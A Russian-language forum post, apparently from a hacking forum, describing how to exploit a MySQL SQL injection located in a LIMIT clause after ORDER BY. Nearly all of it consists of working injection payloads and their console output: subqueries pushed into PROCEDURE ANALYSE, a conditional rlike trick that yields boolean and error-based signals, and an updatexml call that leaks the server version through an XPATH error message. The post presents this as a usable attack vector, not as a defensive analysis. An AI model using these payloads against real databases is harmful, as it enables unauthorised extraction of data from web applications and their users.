Всем привет! Темы кончились? Нет. Будем продолжать банкет! Старые исследования прокладывают путь новым, опять и снова!
Тема: Инъекция в LIMIT после ORDER BY
Инъекция имеется, но сделать ничего нельзя (из гугла):
https://forum.antichat.ru/showpost.p...ostcount=21483
https://rdot.org/forum/showpost.php?...postcount=3224
https://forum.antichat.ru/showpost.p...ostcount=23293
https://forum.antichat.net/showpost....ostcount=23189
Проблема
PHP код:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0, 3 /* SQL-inj */;
+-----------+
| host |
+-----------+
| 127.0.0.1 |
| ::1 |
| host |
+-----------+
3 rows in set (0.00 sec)
Вектор работает через
PROCEDURE ANALYSE. Все, кто пробовали использовать использовать данный синтаксис, столкнулись с большими проблемами.
PHP код:
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE(((2))); // Можно заключать аргумент в скобки
Empty set (0.00 sec)
mysql> SELECT host FROM mysql.user PROCEDURE ANALYSE(2 * 2);
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
// Совместное использование ORDER BY и PROCEDURE ANALYSE запрещено:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0, 3 PROCEDURE ANALYSE(4);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
Решение
Рассмотрим некоторые из заметок:
MySQL: Альтернативные error-based векторы
Заметка о однократном выполнении выражения, о исполнении невыполнямого выражения
Первая позволяет увидеть процесс формирования запроса:
PHP код:
mysql> SELECT 18446744073709551610 * if((SELECT 1) rlike 1, 2, 2);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * if((1 regexp 1),2,2))'
// Подзапрос исчез, а rlike заменилось на regexp
Применять подобный подзапрос можно и в
PROCEDURE ANALYSE:
PHP код:
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3));
Empty set (0.00 sec)
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT '3'));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 union SELECT 2 LIMIT 1));
ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse'
mysql> SELECT host FROM mysql.user LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY sleep(1)));
Empty set (0.00 sec)
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY /* SQL */));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
Итак, выражение протолкнуто в
PROCEDURE ANALYSE, однако оно не исполняется (в таблице только одна запись), попрежнему возникает ошибка 1386. Решить обе проблемы может только один вектор - вектор исполнения неисполняемого выражения (см. заметку 2):
Код:
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 5, 0x00, 1)));
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY 1 rlike if(mid(version(), 1, 1) = 6, 0x00, 1)));
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1)));
ERROR 1105 (HY000): XPATH syntax error: ':5.5'